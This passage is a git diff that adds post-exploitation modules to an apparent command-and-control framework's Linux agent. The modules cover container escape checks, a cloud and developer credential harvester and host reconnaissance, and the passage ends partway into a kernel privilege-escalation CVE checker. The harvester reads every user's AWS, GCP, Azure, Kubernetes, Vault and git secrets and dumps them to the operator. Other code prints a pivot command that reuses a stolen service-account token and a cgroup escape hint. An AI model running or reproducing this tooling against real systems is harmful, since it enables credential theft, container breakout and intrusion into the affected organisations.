+ AxStrstr(cap_eff, "0000003fffff")) {
+ BeaconPrintf(CALLBACK_OUTPUT, " [!!] Full capabilities detected — PRIVILEGED\n");
+ }
+ char cap_val[32];
+ int ci = 0;
+ while (cap_eff[ci] && cap_eff[ci] != '\n' && ci < 31) {
+ cap_val[ci] = cap_eff[ci];
+ ci++;
+ }
+ cap_val[ci] = '\0';
+ BeaconPrintf(CALLBACK_OUTPUT, " CapEff: %s\n", cap_val);
+ }
+ AxFree(cap);
+ }
+ }
+}
+
+static void check_kubernetes(void) {
+ BeaconPrintf(CALLBACK_OUTPUT, "\n=== Kubernetes ===\n");
+ int is_k8s = 0;
+
+ if (file_exists("/var/run/secrets/kubernetes.io/serviceaccount/token")) {
+ BeaconPrintf(CALLBACK_OUTPUT, " [+] K8s service account token found\n");
+ is_k8s = 1;
+
+ char *token = (char *)0;
+ int tlen = AxReadFileToBuffer("/var/run/secrets/kubernetes.io/serviceaccount/token", &token, 8192);
+ if (tlen > 0 && token) {
+ // Show first/last 20 chars
+ if (tlen > 40) {
+ BeaconPrintf(CALLBACK_OUTPUT, " Token: %.20s...%.20s (%d bytes)\n",
+ token, token + tlen - 20, tlen);
+ } else {
+ BeaconPrintf(CALLBACK_OUTPUT, " Token: %s\n", token);
+ }
+ AxFree(token);
+ }
+
+ char *ns = (char *)0;
+ int ns_len = AxReadFileToBuffer("/var/run/secrets/kubernetes.io/serviceaccount/namespace", &ns, 256);
+ if (ns_len > 0 && ns) {
+ if (ns[ns_len - 1] == '\n') ns[ns_len - 1] = '\0';
+ BeaconPrintf(CALLBACK_OUTPUT, " Namespace: %s\n", ns);
+ AxFree(ns);
+ }
+ }
+
+ // Check K8s env vars
+ char val[256];
+ if (AxGetEnv("KUBERNETES_SERVICE_HOST", val, sizeof(val)) > 0) {
+ BeaconPrintf(CALLBACK_OUTPUT, " [+] KUBERNETES_SERVICE_HOST=%s\n", val);
+ is_k8s = 1;
+ }
+ if (AxGetEnv("KUBERNETES_SERVICE_PORT", val, sizeof(val)) > 0) {
+ BeaconPrintf(CALLBACK_OUTPUT, " [+] KUBERNETES_SERVICE_PORT=%s\n", val);
+ }
+ if (AxGetEnv("KUBERNETES_PORT", val, sizeof(val)) > 0) {
+ BeaconPrintf(CALLBACK_OUTPUT, " [+] KUBERNETES_PORT=%s\n", val);
+ }
+
+ if (is_k8s) {
+ BeaconPrintf(CALLBACK_OUTPUT, " [*] Pivot hints:\n");
+ BeaconPrintf(CALLBACK_OUTPUT, " - curl -sk https://$KUBERNETES_SERVICE_HOST/api/v1/namespaces -H 'Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)'\n");
+ BeaconPrintf(CALLBACK_OUTPUT, " - Check RBAC: can-i list pods/secrets/configmaps\n");
+ BeaconPrintf(CALLBACK_OUTPUT, " - Look for overly permissive service accounts\n");
+ } else {
+ BeaconPrintf(CALLBACK_OUTPUT, " [-] No Kubernetes indicators\n");
+ }
+}
+
+static void check_lxc(void) {
+ BeaconPrintf(CALLBACK_OUTPUT, "\n=== LXC/LXD ===\n");
+
+ if (file_contains("/proc/1/cgroup", "lxc")) {
+ BeaconPrintf(CALLBACK_OUTPUT, " [+] LXC container detected (cgroup)\n");
+ } else if (file_contains("/proc/1/environ", "container=lxc")) {
+ BeaconPrintf(CALLBACK_OUTPUT, " [+] LXC container detected (environ)\n");
+ } else {
+ BeaconPrintf(CALLBACK_OUTPUT, " [-] No LXC indicators\n");
+ }
+}
+
+static void check_cgroup_escape(void) {
+ BeaconPrintf(CALLBACK_OUTPUT, "\n=== Cgroup escape checks ===\n");
+
+ // Check if cgroup v1 release_agent is writable
+ char *cgroup = (char *)0;
+ int cg_len = AxReadFileToBuffer("/proc/1/cgroup", &cgroup, 4096);
+ if (cg_len > 0 && cgroup) {
+ BeaconPrintf(CALLBACK_OUTPUT, " /proc/1/cgroup:\n");
+ BeaconOutput(CALLBACK_OUTPUT, cgroup, cg_len);
+ AxFree(cgroup);
+ }
+
+ // Check cgroupfs mount
+ if (file_exists("/sys/fs/cgroup/memory/release_agent")) {
+ BeaconPrintf(CALLBACK_OUTPUT, " [!!] release_agent exists — CVE-2022-0492 potential\n");
+ BeaconPrintf(CALLBACK_OUTPUT, " ESCAPE: echo 1 > /sys/fs/cgroup/.../notify_on_release; write release_agent\n");
+ }
+
+ // Check /proc/sysrq-trigger (privileged indicator)
+ if (file_exists("/proc/sysrq-trigger")) {
+ unsigned int mode = 0;
+ AxFileStat("/proc/sysrq-trigger", &mode, (long *)0, (unsigned int *)0, (unsigned int *)0);
+ if (mode & 0200) { // writable
+ BeaconPrintf(CALLBACK_OUTPUT, " [!] /proc/sysrq-trigger is writable — privileged container\n");
+ }
+ }
+
+ // Check core_pattern escape
+ if (file_exists("/proc/sys/kernel/core_pattern")) {
+ char *core = (char *)0;
+ int core_len = AxReadFileToBuffer("/proc/sys/kernel/core_pattern", &core, 256);
+ if (core_len > 0 && core) {
+ if (core[0] == '|') {
+ BeaconPrintf(CALLBACK_OUTPUT, " [!] core_pattern uses pipe: %s", core);
+ }
+ AxFree(core);
+ }
+ }
+}
+
+void go(char *args, int args_len) {
+ BeaconPrintf(CALLBACK_OUTPUT, "[*] Container detection + escape analysis\n");
+
+ // General container check
+ BeaconPrintf(CALLBACK_OUTPUT, "\n=== General indicators ===\n");
+
+ char val[256];
+ if (AxGetEnv("container", val, sizeof(val)) > 0) {
+ BeaconPrintf(CALLBACK_OUTPUT, " [+] $container=%s\n", val);
+ }
+
+ // PID 1 check
+ char *cmdline = (char *)0;
+ int cl_len = AxReadFileToBuffer("/proc/1/cmdline", &cmdline, 256);
+ if (cl_len > 0 && cmdline) {
+ BeaconPrintf(CALLBACK_OUTPUT, " PID 1: %s\n", cmdline);
+ AxFree(cmdline);
+ }
+
+ // Detect type
+ check_docker();
+ check_kubernetes();
+ check_lxc();
+ check_cgroup_escape();
+
+ BeaconPrintf(CALLBACK_OUTPUT, "\n[*] Container analysis complete\n");
+}
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/cred_harvest.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/cred_harvest.c
new file mode 100644
index 000000000..fe1297ca8
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/cred_harvest.c
@@ -0,0 +1,263 @@
+/// cred_harvest.c — BOF: Harvest cloud credentials (AWS/GCP/Azure/K8s/Docker)
+/// Compile: gcc -c -o cred_harvest.o cred_harvest.c -include bof_api.h -Os -fPIC
+/// Usage: execute bof cred_harvest.o
+/// Note: Complements built-in `creds` command with deeper scanning:
+/// - Scans ALL users (not just current), requires root
+/// - Checks additional locations (terraform, vault, npm, pip, git)
+/// - Extracts IMDS/metadata endpoints for cloud pivoting
+
+// getdents64 record structure
+struct linux_dirent64 {
+ unsigned long long d_ino;
+ long long d_off;
+ unsigned short d_reclen;
+ unsigned char d_type;
+ char d_name[];
+};
+
+#define DT_DIR 4
+#define DT_REG 8
+
+typedef struct {
+ const char *subpath;
+ const char *description;
+ int show_content; // 1 = dump content, 0 = just report existence
+} cred_file_t;
+
+static const cred_file_t cred_files[] = {
+ // AWS
+ {".aws/credentials", "AWS credentials", 1},
+ {".aws/config", "AWS config", 1},
+ // GCP
+ {".config/gcloud/application_default_credentials.json", "GCP ADC", 1},
+ {".config/gcloud/credentials.db", "GCP credentials DB", 0},
+ {".config/gcloud/access_tokens.db", "GCP access tokens DB", 0},
+ // Azure
+ {".azure/accessTokens.json", "Azure tokens", 1},
+ {".azure/azureProfile.json", "Azure profile", 0},
+ {".azure/msal_token_cache.json", "Azure MSAL cache", 1},
+ // Docker
+ {".docker/config.json", "Docker registry auth", 1},
+ // Kubernetes
+ {".kube/config", "Kubernetes config", 1},
+ // Terraform
+ {".terraform.d/credentials.tfrc.json", "Terraform Cloud token", 1},
+ {".terraformrc", "Terraform config", 1},
+ // Vault
+ {".vault-token", "HashiCorp Vault token", 1},
+ // NPM
+ {".npmrc", "NPM registry auth", 1},
+ // Pip / PyPI
+ {".pypirc", "PyPI upload credentials", 1},
+ // Git
+ {".git-credentials", "Git stored credentials", 1},
+ {".gitconfig", "Git config", 1},
+ // Heroku
+ {".netrc", "netrc (Heroku/APIs)", 1},
+ // GitHub CLI
+ {".config/gh/hosts.yml", "GitHub CLI token", 1},
+ // Fly.io
+ {".fly/config.yml", "Fly.io token", 1},
+ // Pulumi
+ {".pulumi/credentials.json", "Pulumi credentials", 1},
+ // Ansible
+ {".ansible/vault_password", "Ansible vault pw", 1},
+ // Sentinel
+ {(const char *)0, (const char *)0, 0}
+};
+
+static void scan_user_creds(const char *homedir, const char *username) {
+ int found = 0;
+
+ for (int i = 0; cred_files[i].subpath; i++) {
+ char filepath[768];
+ AxSnprintf(filepath, sizeof(filepath), "%s/%s", homedir, cred_files[i].subpath);
+
+ unsigned int mode = 0;
+ long fsize = 0;
+ if (AxFileStat(filepath, &mode, &fsize, (unsigned int *)0, (unsigned int *)0) != 0)
+ continue;
+
+ if (found == 0) {
+ BeaconPrintf(CALLBACK_OUTPUT, "\n[+] User: %s (%s)\n", username, homedir);
+ }
+ found++;
+
+ if (cred_files[i].show_content && fsize > 0 && fsize < 65536) {
+ char *data = (char *)0;
+ int dlen = AxReadFileToBuffer(filepath, &data, 65536);
+ if (dlen > 0 && data) {
+ BeaconPrintf(CALLBACK_OUTPUT, " [CRED] %s — %s (%ld bytes)\n",
+ cred_files[i].subpath, cred_files[i].description, fsize);
+ // Indent content
+ BeaconOutput(CALLBACK_OUTPUT, " ---\n", 6);
+ BeaconOutput(CALLBACK_OUTPUT, data, dlen);
+ if (dlen > 0 && data[dlen - 1] != '\n')
+ BeaconOutput(CALLBACK_OUTPUT, "\n", 1);
+ BeaconOutput(CALLBACK_OUTPUT, " ---\n", 6);
+ AxFree(data);
+ }
+ } else {
+ BeaconPrintf(CALLBACK_OUTPUT, " [FILE] %s — %s (%ld bytes)\n",
+ cred_files[i].subpath, cred_files[i].description, fsize);
+ }
+ }
+}
+
+static void check_system_creds(void) {
+ BeaconPrintf(CALLBACK_OUTPUT, "\n=== System-wide credential files ===\n");
+
+ typedef struct {
+ const char *path;
+ const char *desc;
+ int show;
+ } sys_cred_t;
+
+ static const sys_cred_t sys_creds[] = {
+ {"/etc/shadow", "Shadow passwords", 0},
+ {"/var/run/secrets/kubernetes.io/serviceaccount/token", "K8s SA token", 1},
+ {"/var/run/secrets/kubernetes.io/serviceaccount/ca.crt", "K8s CA cert", 0},
+ {"/var/run/secrets/kubernetes.io/serviceaccount/namespace", "K8s namespace", 1},
+ {"/etc/rancher/k3s/k3s.yaml", "K3s kubeconfig", 1},
+ {"/etc/kubernetes/admin.conf", "K8s admin config", 1},
+ {"/var/lib/kubelet/kubeconfig", "Kubelet config", 1},
+ {"/root/.docker/config.json", "Root Docker auth", 1},
+ {"/etc/docker/daemon.json", "Docker daemon config", 1},
+ {"/etc/vault.d/vault.hcl", "Vault server config", 1},
+ {"/etc/consul.d/consul.hcl", "Consul config", 0},
+ {"/opt/containerd/config.toml", "Containerd config", 0},
+ {(const char *)0, (const char *)0, 0}
+ };
+
+ for (int i = 0; sys_creds[i].path; i++) {
+ unsigned int mode = 0;
+ long fsize = 0;
+ if (AxFileStat(sys_creds[i].path, &mode, &fsize, (unsigned int *)0, (unsigned int *)0) != 0)
+ continue;
+
+ if (sys_creds[i].show && fsize > 0 && fsize < 65536) {
+ char *data = (char *)0;
+ int dlen = AxReadFileToBuffer(sys_creds[i].path, &data, 65536);
+ if (dlen > 0 && data) {
+ BeaconPrintf(CALLBACK_OUTPUT, " [CRED] %s — %s (%ld bytes)\n",
+ sys_creds[i].path, sys_creds[i].desc, fsize);
+ BeaconOutput(CALLBACK_OUTPUT, " ---\n", 6);
+ BeaconOutput(CALLBACK_OUTPUT, data, dlen);
+ if (dlen > 0 && data[dlen - 1] != '\n')
+ BeaconOutput(CALLBACK_OUTPUT, "\n", 1);
+ BeaconOutput(CALLBACK_OUTPUT, " ---\n", 6);
+ AxFree(data);
+ }
+ } else {
+ BeaconPrintf(CALLBACK_OUTPUT, " [FILE] %s — %s (%ld bytes)\n",
+ sys_creds[i].path, sys_creds[i].desc, fsize);
+ }
+ }
+}
+
+static void check_env_creds(void) {
+ BeaconPrintf(CALLBACK_OUTPUT, "\n=== Environment variables (secrets) ===\n");
+
+ const char *env_vars[] = {
+ "AWS_ACCESS_KEY_ID", "AWS_SECRET_ACCESS_KEY", "AWS_SESSION_TOKEN",
+ "GOOGLE_APPLICATION_CREDENTIALS", "GOOGLE_CLOUD_PROJECT",
+ "AZURE_CLIENT_ID", "AZURE_CLIENT_SECRET", "AZURE_TENANT_ID",
+ "VAULT_TOKEN", "VAULT_ADDR",
+ "DOCKER_AUTH_CONFIG",
+ "GITHUB_TOKEN", "GH_TOKEN", "GITLAB_TOKEN",
+ "NPM_TOKEN",
+ "DATABASE_URL", "DB_PASSWORD", "MYSQL_ROOT_PASSWORD",
+ "POSTGRES_PASSWORD", "REDIS_PASSWORD",
+ "JWT_SECRET", "SECRET_KEY", "API_KEY",
+ (const char *)0
+ };
+
+ int found = 0;
+ for (int i = 0; env_vars[i]; i++) {
+ char val[1024];
+ if (AxGetEnv(env_vars[i], val, sizeof(val)) > 0) {
+ // Mask partial value for OPSEC
+ int vlen = AxStrlen(val);
+ if (vlen > 8) {
+ BeaconPrintf(CALLBACK_OUTPUT, " [ENV] %s = %c%c%c%c...%c%c%c%c (%d chars)\n",
+ env_vars[i], val[0], val[1], val[2], val[3],
+ val[vlen-4], val[vlen-3], val[vlen-2], val[vlen-1], vlen);
+ } else {
+ BeaconPrintf(CALLBACK_OUTPUT, " [ENV] %s = %s\n", env_vars[i], val);
+ }
+ found++;
+ }
+ }
+
+ if (found == 0) {
+ BeaconPrintf(CALLBACK_OUTPUT, " (no secret env vars found)\n");
+ }
+}
+
+void go(char *args, int args_len) {
+ BeaconPrintf(CALLBACK_OUTPUT, "[*] Deep credential harvest\n");
+
+ // 1. Scan all users from /etc/passwd
+ char *passwd = (char *)0;
+ int passwd_len = AxReadFileToBuffer("/etc/passwd", &passwd, 524288);
+ if (passwd_len > 0 && passwd) {
+ BeaconPrintf(CALLBACK_OUTPUT, "\n=== Per-user credential files ===\n");
+
+ char *line = passwd;
+ while (line < passwd + passwd_len) {
+ char *eol = line;
+ while (eol < passwd + passwd_len && *eol != '\n')
+ eol++;
+
+ // Parse: username:x:uid:gid:gecos:homedir:shell
+ int field = 0;
+ char *username = line;
+ int username_len = 0;
+ char *homedir = (char *)0;
+ int homedir_len = 0;
+ char *field_start = line;
+
+ for (char *p = line; p <= eol; p++) {
+ if (p == eol || *p == ':') {
+ if (field == 0) {
+ username = field_start;
+ username_len = (int)(p - field_start);
+ } else if (field == 5) {
+ homedir = field_start;
+ homedir_len = (int)(p - field_start);
+ }
+ field++;
+ field_start = p + 1;
+ }
+ }
+
+ if (homedir && homedir_len > 1 && homedir_len < 256) {
+ char home_buf[512];
+ AxMemcpy(home_buf, homedir, homedir_len);
+ home_buf[homedir_len] = '\0';
+
+ char uname_buf[256];
+ if (username_len > 255) username_len = 255;
+ AxMemcpy(uname_buf, username, username_len);
+ uname_buf[username_len] = '\0';
+
+ // Skip nonexistent home dirs
+ unsigned int mode = 0;
+ if (AxFileStat(home_buf, &mode, (long *)0, (unsigned int *)0, (unsigned int *)0) == 0) {
+ scan_user_creds(home_buf, uname_buf);
+ }
+ }
+
+ line = eol + 1;
+ }
+ AxFree(passwd);
+ }
+
+ // 2. System-wide credential files
+ check_system_creds();
+
+ // 3. Environment variables
+ check_env_creds();
+
+ BeaconPrintf(CALLBACK_OUTPUT, "\n[*] Harvest complete\n");
+}
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/host_recon.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/host_recon.c
new file mode 100644
index 000000000..02115a04b
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/host_recon.c
@@ -0,0 +1,309 @@
+/// host_recon.c — BOF: Host reconnaissance (system info, users, groups, login history, crontabs)
+/// Compile: gcc -c -o host_recon.o host_recon.c -include bof_api.h -Os -fPIC
+/// Usage: execute bof host_recon.o
+
+struct linux_dirent64 {
+ unsigned long long d_ino;
+ long long d_off;
+ unsigned short d_reclen;
+ unsigned char d_type;
+ char d_name[];
+};
+
+static void dump_file(const char *title, const char *path, int max_size) {
+ char *data = (char *)0;
+ int len = AxReadFileToBuffer(path, &data, max_size);
+ if (len > 0 && data) {
+ BeaconPrintf(CALLBACK_OUTPUT, "\n=== %s ===\n", title);
+ BeaconOutput(CALLBACK_OUTPUT, data, len);
+ if (data[len - 1] != '\n')
+ BeaconOutput(CALLBACK_OUTPUT, "\n", 1);
+ AxFree(data);
+ }
+}
+
+static void system_info(void) {
+ BeaconPrintf(CALLBACK_OUTPUT, "=== System Information ===\n");
+
+ // Hostname
+ char *hn = (char *)0;
+ int hn_len = AxReadFileToBuffer("/proc/sys/kernel/hostname", &hn, 256);
+ if (hn_len > 0 && hn) {
+ // Trim trailing newline
+ if (hn[hn_len - 1] == '\n') hn[hn_len - 1] = '\0';
+ BeaconPrintf(CALLBACK_OUTPUT, " Hostname: %s\n", hn);
+ AxFree(hn);
+ }
+
+ // Domain
+ char *dm = (char *)0;
+ int dm_len = AxReadFileToBuffer("/proc/sys/kernel/domainname", &dm, 256);
+ if (dm_len > 0 && dm) {
+ if (dm[dm_len - 1] == '\n') dm[dm_len - 1] = '\0';
+ BeaconPrintf(CALLBACK_OUTPUT, " Domain: %s\n", dm);
+ AxFree(dm);
+ }
+
+ // Kernel
+ char *ver = (char *)0;
+ int ver_len = AxReadFileToBuffer("/proc/version", &ver, 512);
+ if (ver_len > 0 && ver) {
+ if (ver[ver_len - 1] == '\n') ver[ver_len - 1] = '\0';
+ BeaconPrintf(CALLBACK_OUTPUT, " Kernel: %s\n", ver);
+ AxFree(ver);
+ }
+
+ // OS release
+ char *os = (char *)0;
+ int os_len = AxReadFileToBuffer("/etc/os-release", &os, 4096);
+ if (os_len > 0 && os) {
+ // Extract PRETTY_NAME
+ char *pn = AxStrstr(os, "PRETTY_NAME=");
+ if (pn) {
+ pn += 12;
+ if (*pn == '"') pn++;
+ char *end = AxStrchr(pn, '"');
+ if (!end) end = AxStrchr(pn, '\n');
+ if (end) {
+ char osname[256];
+ int nlen = (int)(end - pn);
+ if (nlen > 255) nlen = 255;
+ AxMemcpy(osname, pn, nlen);
+ osname[nlen] = '\0';
+ BeaconPrintf(CALLBACK_OUTPUT, " OS: %s\n", osname);
+ }
+ }
+ AxFree(os);
+ }
+
+ // Uptime
+ char *up = (char *)0;
+ int up_len = AxReadFileToBuffer("/proc/uptime", &up, 128);
+ if (up_len > 0 && up) {
+ // First field is total seconds
+ long seconds = 0;
+ char *p = up;
+ while (*p >= '0' && *p <= '9') {
+ seconds = seconds * 10 + (*p - '0');
+ p++;
+ }
+ long days = seconds / 86400;
+ long hours = (seconds % 86400) / 3600;
+ long mins = (seconds % 3600) / 60;
+ BeaconPrintf(CALLBACK_OUTPUT, " Uptime: %ldd %ldh %ldm\n", days, hours, mins);
+ AxFree(up);
+ }
+
+ // CPU info (first processor)
+ char *cpu = (char *)0;
+ int cpu_len = AxReadFileToBuffer("/proc/cpuinfo", &cpu, 8192);
+ if (cpu_len > 0 && cpu) {
+ char *model = AxStrstr(cpu, "model name");
+ if (model) {
+ char *colon = AxStrchr(model, ':');
+ if (colon) {
+ colon++;
+ while (*colon == ' ' || *colon == '\t') colon++;
+ char *eol = AxStrchr(colon, '\n');
+ if (eol) {
+ char cpuname[256];
+ int clen = (int)(eol - colon);
+ if (clen > 255) clen = 255;
+ AxMemcpy(cpuname, colon, clen);
+ cpuname[clen] = '\0';
+ BeaconPrintf(CALLBACK_OUTPUT, " CPU: %s\n", cpuname);
+ }
+ }
+ }
+ // Count processors
+ int ncpu = 0;
+ char *search = cpu;
+ while ((search = AxStrstr(search, "processor")) != (char *)0) {
+ ncpu++;
+ search += 9;
+ }
+ BeaconPrintf(CALLBACK_OUTPUT, " CPU cores: %d\n", ncpu);
+ AxFree(cpu);
+ }
+
+ // Memory
+ char *mem = (char *)0;
+ int mem_len = AxReadFileToBuffer("/proc/meminfo", &mem, 4096);
+ if (mem_len > 0 && mem) {
+ char *mt = AxStrstr(mem, "MemTotal:");
+ char *mf = AxStrstr(mem, "MemAvailable:");
+ if (mt) {
+ mt += 9;
+ while (*mt == ' ') mt++;
+ long total = 0;
+ while (*mt >= '0' && *mt <= '9') { total = total * 10 + (*mt - '0'); mt++; }
+ BeaconPrintf(CALLBACK_OUTPUT, " RAM total: %ld MB\n", total / 1024);
+ }
+ if (mf) {
+ mf += 13;
+ while (*mf == ' ') mf++;
+ long avail = 0;
+ while (*mf >= '0' && *mf <= '9') { avail = avail * 10 + (*mf - '0'); mf++; }
+ BeaconPrintf(CALLBACK_OUTPUT, " RAM avail: %ld MB\n", avail / 1024);
+ }
+ AxFree(mem);
+ }
+
+ // Architecture
+ BeaconPrintf(CALLBACK_OUTPUT, " PID: %d\n", AxGetPid());
+ BeaconPrintf(CALLBACK_OUTPUT, " UID: %d EUID: %d\n", AxGetUid(), AxGetEuid());
+}
+
+static void enum_users(void) {
+ char *passwd = (char *)0;
+ int len = AxReadFileToBuffer("/etc/passwd", &passwd, 524288);
+ if (len <= 0 || !passwd) return;
+
+ BeaconPrintf(CALLBACK_OUTPUT, "\n=== Users with shell access ===\n");
+ BeaconPrintf(CALLBACK_OUTPUT, " %-20s %-6s %-6s %-30s %s\n",
+ "USERNAME", "UID", "GID", "HOME", "SHELL");
+
+ char *line = passwd;
+ while (line < passwd + len) {
+ char *eol = line;
+ while (eol < passwd + len && *eol != '\n') eol++;
+
+ // Parse: user:x:uid:gid:gecos:home:shell
+ char *fields[7];
+ int nfields = 0;
+ char *fstart = line;
+ for (char *p = line; p <= eol && nfields < 7; p++) {
+ if (p == eol || *p == ':') {
+ fields[nfields++] = fstart;
+ if (p < eol) *p = '\0'; // Temporary null termination
+ fstart = p + 1;
+ }
+ }
+
+ if (nfields >= 7) {
+ // Skip nologin/false
+ int skip = 0;
+ int shell_len = AxStrlen(fields[6]);
+ if (shell_len >= 7 && AxStrncmp(fields[6] + shell_len - 7, "nologin", 7) == 0) skip = 1;
+ if (shell_len >= 5 && AxStrncmp(fields[6] + shell_len - 5, "false", 5) == 0) skip = 1;
+ if (AxStrcmp(fields[6], "/bin/sync") == 0) skip = 1;
+
+ if (!skip) {
+ BeaconPrintf(CALLBACK_OUTPUT, " %-20s %-6s %-6s %-30s %s\n",
+ fields[0], fields[2], fields[3], fields[5], fields[6]);
+ }
+ }
+
+ // Restore colons (not strictly needed since we own the buffer)
+ line = eol + 1;
+ }
+ AxFree(passwd);
+}
+
+static void enum_groups(void) {
+ char *groups = (char *)0;
+ int len = AxReadFileToBuffer("/etc/group", &groups, 524288);
+ if (len <= 0 || !groups) return;
+
+ BeaconPrintf(CALLBACK_OUTPUT, "\n=== Groups with members ===\n");
+
+ char *line = groups;
+ while (line < groups + len) {
+ char *eol = line;
+ while (eol < groups + len && *eol != '\n') eol++;
+
+ // group:x:gid:member1,member2
+ // Find last colon
+ char *last_colon = eol;
+ int colons = 0;
+ for (char *p = line; p < eol; p++) {
+ if (*p == ':') { last_colon = p; colons++; }
+ }
+
+ if (colons >= 3 && last_colon + 1 < eol) {
+ // Has members — show this group
+ char gline[512];
+ int glen = (int)(eol - line);
+ if (glen > 511) glen = 511;
+ AxMemcpy(gline, line, glen);
+ gline[glen] = '\0';
+ BeaconPrintf(CALLBACK_OUTPUT, " %s\n", gline);
+ }
+
+ line = eol + 1;
+ }
+ AxFree(groups);
+}
+
+static void enum_crontabs(void) {
+ BeaconPrintf(CALLBACK_OUTPUT, "\n=== Crontabs ===\n");
+
+ // System crontab
+ char *crontab = (char *)0;
+ int ct_len = AxReadFileToBuffer("/etc/crontab", &crontab, 65536);
+ if (ct_len > 0 && crontab) {
+ BeaconPrintf(CALLBACK_OUTPUT, " [/etc/crontab]\n");
+ // Show non-comment lines
+ char *line = crontab;
+ while (line < crontab + ct_len) {
+ char *eol = line;
+ while (eol < crontab + ct_len && *eol != '\n') eol++;
+ int llen = (int)(eol - line);
+ if (llen > 0 && line[0] != '#') {
+ char *s = line;
+ while (s < eol && (*s == ' ' || *s == '\t')) s++;
+ if (s < eol) {
+ char lbuf[512];
+ int ll = (int)(eol - line);
+ if (ll > 511) ll = 511;
+ AxMemcpy(lbuf, line, ll);
+ lbuf[ll] = '\0';
+ BeaconPrintf(CALLBACK_OUTPUT, " %s\n", lbuf);
+ }
+ }
+ line = eol + 1;
+ }
+ AxFree(crontab);
+ }
+
+ // /etc/cron.d/
+ int dirfd = AxOpenDir("/etc/cron.d");
+ if (dirfd >= 0) {
+ char dirbuf[4096];
+ while (1) {
+ int nread = AxReadDir(dirfd, dirbuf, sizeof(dirbuf));
+ if (nread <= 0) break;
+ int pos = 0;
+ while (pos < nread) {
+ struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos);
+ if (entry->d_name[0] != '.') {
+ char fpath[256];
+ AxSnprintf(fpath, sizeof(fpath), "/etc/cron.d/%s", entry->d_name);
+ BeaconPrintf(CALLBACK_OUTPUT, " [%s]\n", fpath);
+ }
+ pos += entry->d_reclen;
+ }
+ }
+ AxCloseFile(dirfd);
+ }
+}
+
+void go(char *args, int args_len) {
+ BeaconPrintf(CALLBACK_OUTPUT, "[*] Host reconnaissance\n\n");
+
+ system_info();
+ enum_users();
+ enum_groups();
+ enum_crontabs();
+
+ // Login shells
+ dump_file("Available shells", "/etc/shells", 4096);
+
+ // Timezone
+ dump_file("Timezone", "/etc/timezone", 128);
+
+ // Machine ID
+ dump_file("Machine ID", "/etc/machine-id", 128);
+
+ BeaconPrintf(CALLBACK_OUTPUT, "\n[*] Host recon complete\n");
+}
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/kernel_exploit_check.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/kernel_exploit_check.c
new file mode 100644
index 000000000..5318f1169
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/kernel_exploit_check.c
@@ -0,0 +1,251 @@
+/// kernel_exploit_check.c — BOF: Check kernel version against known privilege escalation CVEs
+/// Compile: gcc -c -o kernel_exploit_check.o kernel_exploit_check.c -include bof_api.h -Os -fPIC
+/// Usage: execute bof kernel_exploit_check.o
+
+typedef struct {
+ const char *cve;
+ const char *name;
+ int min_major, min_minor, min_patch;
+ int max_major, max_minor, max_patch;
+ const char *note;
+} kernel_cve_t;
+
+static const kernel_cve_t kernel_cves[] = {
+ // DirtyPipe
+ {"CVE-2022-0847", "DirtyPipe", 5, 8, 0, 5, 16, 10,
+ "Arbitrary file overwrite via pipe — instant root. Fixed in 5.16.11, 5.15.25, 5.10.102"},
+ // DirtyCow
+ {"CVE-2016-5195", "DirtyCow", 2, 6, 22, 4, 8, 2,
+ "Race condition in COW — write to read-only mappings. Fixed in 4.8.3"},
+ // Sequoia (size_t overflow in seq_file)
+ {"CVE-2021-33909", "Sequoia", 3, 16, 0, 5, 13, 3,
+ "size_t overflow in filesystem layer — path length exploitation. Fixed in 5.13.4"},
+ // Polkit pkexec
+ {"CVE-2021-4034", "PwnKit (pkexec)", 0, 0, 0, 99, 99, 99,
+ "Not kernel but pkexec — affects nearly all Linux distros. Check: ls -la /usr/bin/pkexec"},
+ // Netfilter nf_tables
+ {"CVE-2022-32250", "nf_tables UAF", 5, 8, 0, 5, 18, 0,
+ "Use-after-free in nf_tables — local privesc. Fixed in 5.18.1"},
+ // io_uring
+ {"CVE-2022-29582", "io_uring UAF", 5, 10, 0, 5, 17, 2,
+ "io_uring fixed file use-after-free — requires io_uring access. Fixed in 5.17.3"},
+ // Dirty Cred
+ {"CVE-2022-2588", "DirtyCred (route4)", 4, 4, 0, 5, 19, 0,
+ "route4 filter UAF — swap unprivileged creds. Fixed in 5.19.1"},
+ // OverlayFS (multiple)
+ {"CVE-2023-0386", "OverlayFS privesc", 5, 11, 0, 6, 2, 0,
+ "OverlayFS setuid copy-up bypass — mount ns + FUSE. Fixed in 6.2"},
+ // StackRot
+ {"CVE-2023-3269", "StackRot", 6, 1, 0, 6, 4, 0,
+ "Maple tree RCU UAF — VMA write via stack expansion. Fixed in 6.4.1"},
+ // nftables (2023)
+ {"CVE-2023-32233", "nftables batch UAF", 5, 1, 0, 6, 3, 1,
+ "Nftables anonymous set UAF — requires CAP_NET_ADMIN. Fixed in 6.3.2"},
+ // GameOver(lay)
+ {"CVE-2023-2640", "GameOver(lay)", 5, 15, 0, 6, 4, 0,
+ "Ubuntu-specific OverlayFS — setxattr on overlayfs grants caps. Ubuntu only."},
+ // Looney Tunables (glibc)
+ {"CVE-2023-4911", "Looney Tunables", 0, 0, 0, 99, 99, 99,
+ "glibc GLIBC_TUNABLES buffer overflow — not kernel but local root. Check glibc version."},
+ // netfilter nf_tables 2024
+ {"CVE-2024-1086", "nf_tables double-free", 5, 14, 0, 6, 7, 1,
+ "nf_verdict double-free — reliable local root. Fixed in 6.7.2. Public exploit available."},
+ // io_uring 2024
+ {"CVE-2024-0582", "io_uring PBUF ring", 6, 4, 0, 6, 7, 0,
+ "io_uring provided buffer ring mmap UAF. Fixed in 6.7"},
+ // Sentinel
+ {(const char *)0, (const char *)0, 0,0,0, 0,0,0, (const char *)0}
+};
+
+static int parse_kernel_version(const char *str, int *major, int *minor, int *patch) {
+ *major = *minor = *patch = 0;
+
+ // Parse major
+ while (*str >= '0' && *str <= '9') {
+ *major = *major * 10 + (*str - '0');
+ str++;
+ }
+ if (*str != '.') return -1;
+ str++;
+
